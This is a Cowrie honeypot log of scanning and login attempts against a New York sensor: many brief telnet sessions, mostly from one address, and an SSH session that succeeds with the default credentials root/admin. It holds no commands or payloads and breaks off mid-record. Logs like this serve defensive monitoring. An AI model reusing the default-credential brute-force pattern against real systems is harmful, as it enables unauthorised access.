{"eventid":"cowrie.session.closed","duration":31.67108941078186,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:29.136444Z","src_ip":"50.6.18.72","session":"e2373a11afc7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.616193771362305,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:29.167544Z","src_ip":"50.6.18.72","session":"74bfc4b6394d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":64.1030821800232,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:29.179884Z","src_ip":"147.182.143.59","session":"4c8dbf403b07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11664628982544,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:29.327418Z","src_ip":"50.6.18.72","session":"82f7de7c182a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":59570,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa348d994a56","protocol":"telnet","message":"New connection: 50.6.18.72:59570 (159.203.135.109:23) [session: fa348d994a56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:29.348757Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":59556,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb8e4134934b","protocol":"telnet","message":"New connection: 50.6.18.72:59556 (159.203.135.109:23) [session: bb8e4134934b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:29.473016Z"}
{"eventid":"cowrie.session.closed","duration":30.67026400566101,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:29.548836Z","src_ip":"50.6.18.72","session":"dfb77dfeec04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":59586,"dst_ip":"159.203.135.109","dst_port":23,"session":"49f189c19e56","protocol":"telnet","message":"New connection: 50.6.18.72:59586 (159.203.135.109:23) [session: 49f189c19e56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:29.558008Z"}
{"eventid":"cowrie.session.closed","duration":30.23024082183838,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:29.592574Z","src_ip":"50.6.18.72","session":"93828ca84260","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.387084484100342,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:29.614280Z","src_ip":"50.6.18.72","session":"c9d38fe65631","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.5872004032135,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:29.627887Z","src_ip":"50.6.18.72","session":"1136a18cae52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.279117584228516,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:29.647261Z","src_ip":"50.6.18.72","session":"aaad48b6a265","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.565696954727173,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:29.702255Z","src_ip":"50.6.18.72","session":"c34ec84448c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.150959014892578,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:29.907898Z","src_ip":"50.6.18.72","session":"1b1aeb35cf1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.57607078552246,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:30.192607Z","src_ip":"50.6.18.72","session":"f72335a9a9ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.15433692932129,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:30.246995Z","src_ip":"45.58.127.90","session":"08571ee4a200","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.821058750152588,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:30.255182Z","src_ip":"50.6.18.72","session":"1fe867c26e84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":39878,"dst_ip":"159.203.135.109","dst_port":23,"session":"db38564c626b","protocol":"telnet","message":"New connection: 147.182.143.59:39878 (159.203.135.109:23) [session: db38564c626b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:30.528846Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":59588,"dst_ip":"159.203.135.109","dst_port":23,"session":"d866d01cc307","protocol":"telnet","message":"New connection: 50.6.18.72:59588 (159.203.135.109:23) [session: d866d01cc307]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:30.533429Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":59552,"dst_ip":"159.203.135.109","dst_port":23,"session":"1145759c5a30","protocol":"telnet","message":"New connection: 50.6.18.72:59552 (159.203.135.109:23) [session: 1145759c5a30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:30.541285Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":59594,"dst_ip":"159.203.135.109","dst_port":23,"session":"9259db3a7223","protocol":"telnet","message":"New connection: 50.6.18.72:59594 (159.203.135.109:23) [session: 9259db3a7223]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:30.544810Z"}
{"eventid":"cowrie.session.closed","duration":31.115008115768433,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:30.573524Z","src_ip":"50.6.18.72","session":"854fc8231e9e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":59598,"dst_ip":"159.203.135.109","dst_port":23,"session":"65aa05b0cc6f","protocol":"telnet","message":"New connection: 50.6.18.72:59598 (159.203.135.109:23) [session: 65aa05b0cc6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:30.722136Z"}
{"eventid":"cowrie.session.closed","duration":30.780094146728516,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:30.866789Z","src_ip":"50.6.18.72","session":"403d8658ea0c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":59600,"dst_ip":"159.203.135.109","dst_port":23,"session":"08ce1d5d7a41","protocol":"telnet","message":"New connection: 50.6.18.72:59600 (159.203.135.109:23) [session: 08ce1d5d7a41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:30.877156Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":59606,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7552937f5ab","protocol":"telnet","message":"New connection: 50.6.18.72:59606 (159.203.135.109:23) [session: a7552937f5ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:31.066235Z"}
{"eventid":"cowrie.session.closed","duration":31.127923011779785,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:31.135565Z","src_ip":"50.6.18.72","session":"9792ebc8fdda","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11882710456848,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:31.150271Z","src_ip":"50.6.18.72","session":"a66f8e64be7d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10917377471924,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:31.321117Z","src_ip":"50.6.18.72","session":"ca55501e0448","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.191410303115845,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:31.487451Z","src_ip":"50.6.18.72","session":"4c9ac722bdab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.124624013900757,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:31.526580Z","src_ip":"50.6.18.72","session":"c35d56dcf090","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.150237560272217,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:31.547406Z","src_ip":"50.6.18.72","session":"11fdd9227be8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":59616,"dst_ip":"159.203.135.109","dst_port":23,"session":"3bd605a54283","protocol":"telnet","message":"New connection: 50.6.18.72:59616 (159.203.135.109:23) [session: 3bd605a54283]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:31.557335Z"}
{"eventid":"cowrie.session.closed","duration":30.649185180664062,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:31.620323Z","src_ip":"50.6.18.72","session":"b6b0f65badd0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":59620,"dst_ip":"159.203.135.109","dst_port":23,"session":"47427f245012","protocol":"telnet","message":"New connection: 50.6.18.72:59620 (159.203.135.109:23) [session: 47427f245012]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:31.654740Z"}
{"eventid":"cowrie.session.closed","duration":30.265265464782715,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:31.677219Z","src_ip":"50.6.18.72","session":"b6c2372eef3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":59636,"dst_ip":"159.203.135.109","dst_port":23,"session":"8675b458d1c0","protocol":"telnet","message":"New connection: 50.6.18.72:59636 (159.203.135.109:23) [session: 8675b458d1c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:31.691758Z"}
{"eventid":"cowrie.session.closed","duration":31.113804817199707,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:31.724504Z","src_ip":"50.6.18.72","session":"8d3d09e7c719","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.231441974639893,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:31.772038Z","src_ip":"50.6.18.72","session":"1476bea677a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.69077491760254,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:31.857521Z","src_ip":"50.6.18.72","session":"2b5efa71e5c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":59638,"dst_ip":"159.203.135.109","dst_port":23,"session":"af14fbcddd68","protocol":"telnet","message":"New connection: 50.6.18.72:59638 (159.203.135.109:23) [session: af14fbcddd68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:31.867812Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":59650,"dst_ip":"159.203.135.109","dst_port":23,"session":"08b4bb850e5c","protocol":"telnet","message":"New connection: 50.6.18.72:59650 (159.203.135.109:23) [session: 08b4bb850e5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:31.951078Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":59602,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a485e7adec9","protocol":"telnet","message":"New connection: 50.6.18.72:59602 (159.203.135.109:23) [session: 0a485e7adec9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:32.003700Z"}
{"eventid":"cowrie.session.closed","duration":31.19649314880371,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:32.038042Z","src_ip":"50.6.18.72","session":"1487f8e0e925","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.71.233.73","src_port":3176,"dst_ip":"10.17.0.5","dst_port":22,"session":"1184e22a01c4","protocol":"ssh","message":"New connection: 185.71.233.73:3176 (10.17.0.5:22) [session: 1184e22a01c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:32.124840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:32.130376Z","src_ip":"185.71.233.73","session":"1184e22a01c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.82519268989563,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:32.186494Z","src_ip":"50.6.18.72","session":"a71c9fa7d198","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":59662,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d753efeed85","protocol":"telnet","message":"New connection: 50.6.18.72:59662 (159.203.135.109:23) [session: 5d753efeed85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:32.289182Z"}
{"eventid":"cowrie.session.closed","duration":31.11038899421692,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:32.388900Z","src_ip":"50.6.18.72","session":"63c0364dac8f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.25533699989319,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:32.476135Z","src_ip":"50.6.18.72","session":"e64a2000f3f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":59610,"dst_ip":"159.203.135.109","dst_port":23,"session":"eef6d752d8f3","protocol":"telnet","message":"New connection: 50.6.18.72:59610 (159.203.135.109:23) [session: eef6d752d8f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:32.487589Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":59702,"dst_ip":"159.203.135.109","dst_port":23,"session":"94a41f4ef946","protocol":"telnet","message":"New connection: 50.6.18.72:59702 (159.203.135.109:23) [session: 94a41f4ef946]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:32.595231Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":59688,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6f9be3be062","protocol":"telnet","message":"New connection: 50.6.18.72:59688 (159.203.135.109:23) [session: b6f9be3be062]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:32.601198Z"}
{"eventid":"cowrie.session.closed","duration":30.29369354248047,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:32.642817Z","src_ip":"50.6.18.72","session":"4c5bf1102eb6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7745840549469,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:32.661238Z","src_ip":"50.6.18.72","session":"568b7156c9dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.155353307724,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:32.669255Z","src_ip":"50.6.18.72","session":"f39848d45822","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":59706,"dst_ip":"159.203.135.109","dst_port":23,"session":"666cf736703f","protocol":"telnet","message":"New connection: 50.6.18.72:59706 (159.203.135.109:23) [session: 666cf736703f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:32.717056Z"}
{"eventid":"cowrie.session.closed","duration":31.117563009262085,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:32.745118Z","src_ip":"50.6.18.72","session":"83c547684f1b","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:33.192307Z","src_ip":"185.71.233.73","session":"1184e22a01c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.911081314086914,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:33.203548Z","src_ip":"50.6.18.72","session":"13ba150e5cd1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":59672,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf8dbe24dd4c","protocol":"telnet","message":"New connection: 50.6.18.72:59672 (159.203.135.109:23) [session: cf8dbe24dd4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:33.474575Z"}
{"eventid":"cowrie.session.closed","duration":31.93511962890625,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:33.503425Z","src_ip":"50.6.18.72","session":"0687525177d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81404137611389,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:33.655017Z","src_ip":"50.6.18.72","session":"a079ecc4e5c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.273134469985962,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:33.732246Z","src_ip":"50.6.18.72","session":"2d280abca654","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.250216960906982,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:33.782080Z","src_ip":"50.6.18.72","session":"0c342d769d0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.889188766479492,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:33.795881Z","src_ip":"50.6.18.72","session":"8a3192e84992","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:33.802128Z","src_ip":"185.71.233.73","session":"1184e22a01c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":59710,"dst_ip":"159.203.135.109","dst_port":23,"session":"d75374dd4754","protocol":"telnet","message":"New connection: 50.6.18.72:59710 (159.203.135.109:23) [session: d75374dd4754]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:33.921284Z"}
{"eventid":"cowrie.client.size","width":80,"height":60,"message":"Terminal Size: 80 60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:34.248393Z","src_ip":"185.71.233.73","session":"1184e22a01c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.71.233.73","src_port":3195,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0fb69196b83","protocol":"ssh","message":"New connection: 185.71.233.73:3195 (159.203.135.109:22) [session: c0fb69196b83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:34.253466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:34.257740Z","src_ip":"185.71.233.73","session":"c0fb69196b83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":59718,"dst_ip":"159.203.135.109","dst_port":23,"session":"1725a4c04ae0","protocol":"telnet","message":"New connection: 50.6.18.72:59718 (159.203.135.109:23) [session: 1725a4c04ae0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:34.401623Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:34.447267Z","src_ip":"185.71.233.73","session":"1184e22a01c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfou